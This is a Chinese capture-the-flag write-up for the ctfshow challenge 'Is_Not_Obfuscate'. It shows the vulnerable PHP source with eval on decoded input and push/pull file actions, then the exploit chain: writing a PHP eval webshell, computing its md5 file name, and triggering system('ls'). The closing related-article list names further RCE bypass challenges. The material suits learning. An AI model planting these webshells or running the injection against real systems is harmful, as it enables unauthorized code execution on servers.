首页 > 其他分享 >ctfshow菜狗杯(Is_Not_Obfuscate)

ctfshow菜狗杯(Is_Not_Obfuscate)

时间:2022-11-14 10:56:48浏览次数:33  
标签:文件 菜狗杯 push flag 源码 ctfshow action Obfuscate

提示都在源码(F12):

<!-- //测试执行加密后的插件代码 
	   //这里只能执行加密代码,非加密代码不能执行
	  eval(decode($_GET['input'])); -->
<!-- <button name="action" value="test"> 执行 (do)</button>-->
<!-- Test the lib.php before use the index.php!-->
<!-- After that,delete the robots.txt!-->

在robotes.txt中我们发现了

/lib.php?flag=0

访问以后什么都没有得到,试着将flag=0改为flag=1得到了一堆数据,看上去像加密的数据,结合题目的源码提示我们试着访问如下:

?action=test&input=‘url编码获取的加密数据’

得到了下面的源码:

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

?>

 利用点很明显在‘push’写文件之后利用‘pull’读取文件执行我们的payload。

写文件:

?action=push&output=<?php eval($_GET[1]);phpinfo();?>

获取文件名也就是计算md5的值,本地计算即可。

读文件执行:

?action=pull&input=8d42ec7469dcadc5679dce59d7a27342&1=system("ls");

 

标签:文件,菜狗杯,push,flag,源码,ctfshow,action,Obfuscate
From: https://www.cnblogs.com/meng-han/p/16888303.html

相关文章

  • ctfshow JWT总结
    一、基础知识:介绍:JSONWebToken(JWT)是用来进行跨域身份验证的一种方案。构成:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY2NzgxMDA1MX0.bsJ......
  • ctfshow web118(利用系统环境变量拼接命令)
    full以后发现题目给了如下字符(几个特殊字符+大写英文字母)我们利用系统环境变量来构造我们需要的命令:${PATH:~A}${PWD:~A}${IFS}????????===nlflag.php自己本地试试......
  • ctfshow web72(绕过open_basedir)
    if(isset($_POST['c'])){$c=$_POST['c'];eval($c);$s=ob_get_contents();ob_end_clean();echopreg_replace("/[0-9]|[a......
  • [CTFSHOW]中期测评WP(差512和514)
    文章目录​​前言​​​​web486​​​​web487​​​​web488​​​​web489​​​​web490​​​​web491​​​​web492​​​​web493​​​​web494​​​​web495​​......
  • ctfshow反序列化 刷题随笔
    刷题随笔web254题目直接传参,没啥好说的web255题目<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classctfShowUser{public$......
  • ctfshow-web入门信息收集
    web1CTRL+u解决web2同web1web3http头中web4查看robots.txt访问/flagishere.txtweb5访问phps下载源码web6有www.zip,下载拿到flagweb7git的源码泄露,直......
  • ctfshow web181(sql注入where后运算符优先级利用)
    //拼接sql语句查找指定ID用户$sql="selectid,username,passwordfromctfshow_userwhereusername!='flag'andid='".$_GET['id']."'limit1;";//对传入的参数......
  • ctfshow web147(create_function函数命令执行)
    if(isset($_POST['ctf'])){$ctfshow=$_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)){$ctfshow('',$_GET['show']);}}首先第......
  • ctfshow web145
    if(isset($_GET['v1'])&&isset($_GET['v2'])&&isset($_GET['v3'])){$v1=(String)$_GET['v1'];$v2=(String)$_GET['v2'];$v3=(String)$_GET['v3']......
  • ctfshow web136(无回显命令rce+直接修改php源码?!)
    functioncheck($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtou......